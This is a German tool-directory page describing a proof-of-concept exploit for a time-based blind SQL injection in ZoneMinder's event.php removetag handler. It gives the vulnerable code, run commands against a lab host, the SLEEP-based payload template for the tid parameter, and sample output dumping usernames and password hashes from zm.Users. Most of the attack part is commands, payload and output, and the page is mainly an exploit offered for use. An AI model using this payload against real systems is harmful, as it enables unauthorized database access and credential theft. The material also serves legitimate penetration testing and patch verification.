Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-51482 — CVE-2025-51482 POC, extrahiere Anmeldedaten aus zm.Users | Kitploit
Tools/GitHubGitHub/c0gnit00/cve-2024-51482
PasswortangriffeSchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstestsLernen & Bildung
GitHubc0gnit00/cve-2024-51482

CVE-2024-51482

CVE-2025-51482 POC, extrahiere Anmeldedaten aus zm.Users

Repository anzeigen
vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-51482 — Zeitbasierte Blind-SQL-Injection in ZoneMinder

Ein Proof-of-Concept-Exploit für CVE-2024-51482, eine authentifizierte zeitbasierte Blind-SQL-Injection-Schwachstelle in ZoneMinder v1.37. ≤ 1.37.64*.

Das Skript extrahiert Benutzernamen und Passwort-Hashes aus der Tabelle zm.Users mittels binärer Suche (Bisektion) über ein SLEEP()-basiertes Orakel.


Schwachstelle

Der removetag-Handler in web/ajax/event.php parametrisiert sicher eine DELETE-Abfrage, interpoliert dann aber direkt eine benutzergesteuerte Eingabe in ein nachfolgendes SELECT:

root@kitploit:~
// Safe — parameterized
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));

// Vulnerable — string interpolation
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);

$tagId stammt direkt aus $_REQUEST['tid'] ohne Sanitisierung, was eine Injektion über den Parameter tid ermöglicht.


Voraussetzungen

  • Python 3.8+
  • requests (pip install requests)
  • Ein gültiges ZMSESSID-Session-Cookie von einem angemeldeten ZoneMinder-Konto

Verwendung

root@kitploit:~
python3 CVE-2024-51482.py --url <TARGET_URL> --zmsessid <SESSION_COOKIE>

Argumente:

  • --url — Basis-URL von ZoneMinder (z.B. http://cctv.htb/zm) (erforderlich)
  • --zmsessid — Wert des ZMSESSID-Cookies (erforderlich)
  • --sleep — Sekunden für die zeitbasierte Inferenz (Standard: 3)
  • --timeout — Anforderungs-Timeout in Sekunden (Standard: sleep + 3)

Beispiele:

root@kitploit:~
# Basic
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh

# Faster on low-latency networks
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 2

# Custom timeout
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 3 --timeout 10

Das Session-Cookie abrufen

Melden Sie sich bei ZoneMinder an, öffnen Sie die Browser-Entwicklertools (F12) -> Anwendung -> Cookies, und kopieren Sie den Wert von ZMSESSID. Alternativ können Sie eine beliebige authentifizierte Anforderung in Burp Suite abfangen und den Wert aus dem Cookie-Header entnehmen.


Ausgabe

root@kitploit:~
[*] Baseline check...
[*] Baseline: 0.62s
[*] Testing injection...
[*] Sleep test: 2.66s
[+] Injection confirmed!

[*] Dumping ZoneMinder Users...

[*] Counting rows in zm.Users...
[+] Found 3 user(s)

[*] Extracting username 1/3...
[*] Length: 5
[*] admin
[+] Username: admin
[*] Extracting password for 'admin'...
[*] Length: 60
[*] $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
[+] Password hash: $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m

[*] Extracting username 2/3...
[*] Length: 4
[*] mark
[+] Username: mark
[*] Extracting password for 'mark'...
[*] Length: 60
[*] $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
[+] Password hash: $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.

[*] Extracting username 3/3...
[*] Length: 10
[*] superadmin
[+] Username: superadmin
[*] Extracting password for 'superadmin'...
[*] Length: 60
[*] $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
[+] Password hash: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm

==================================================
DUMP COMPLETE
==================================================
admin      : $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
mark       : $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
superadmin : $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm

Funktionsweise

  1. Basislinie — sendet eine saubere tid=1-Anforderung, um die normale Antwortzeit zu messen.
  2. Bestätigung — injiziert SLEEP(2) und überprüft, ob die Antwort um ≥2 Sekunden verzögert ist.
  3. Zeilenanzahl — führt eine binäre Suche nach COUNT(*) auf zm.Users durch, um die Anzahl der Konten zu ermitteln.
  4. Extraktion — für jeden Benutzer wird der ASCII-Wert jedes Zeichens sowohl bei Username als auch Password binär durchsucht (~7 Anforderungen pro Zeichen gegenüber 95 beim linearen Scan).

Payload-Struktur:

root@kitploit:~
GET /zm/index.php?view=request&request=event&action=removetag&tid=<PAYLOAD>&id=1

1 AND (SELECT 1 FROM (SELECT SLEEP(3) FROM DUAL WHERE <condition>) as dummy)

id=1 ist erforderlich, da das sichere DELETE vor dem verwundbaren SELECT ohne diesen Parameter einen 500-Fehler werfen würde, was die Ausführung abbricht, bevor die Injektion erreicht wird.


Referenzen

  • CVE-2024-51482 — NVD
  • ZoneMinder — event.php (1.37.63)

Haftungsausschluss

Dieses Tool dient ausschließlich autorisierten Sicherheitstests und der Bildungsforschung.
Holen Sie stets eine ausdrückliche schriftliche Genehmigung ein, bevor Sie ein System testen, das Ihnen nicht gehört.
Der Autor übernimmt keine Haftung für Missbrauch oder Schäden, die durch diese Software verursacht werden.

Tool herunterladen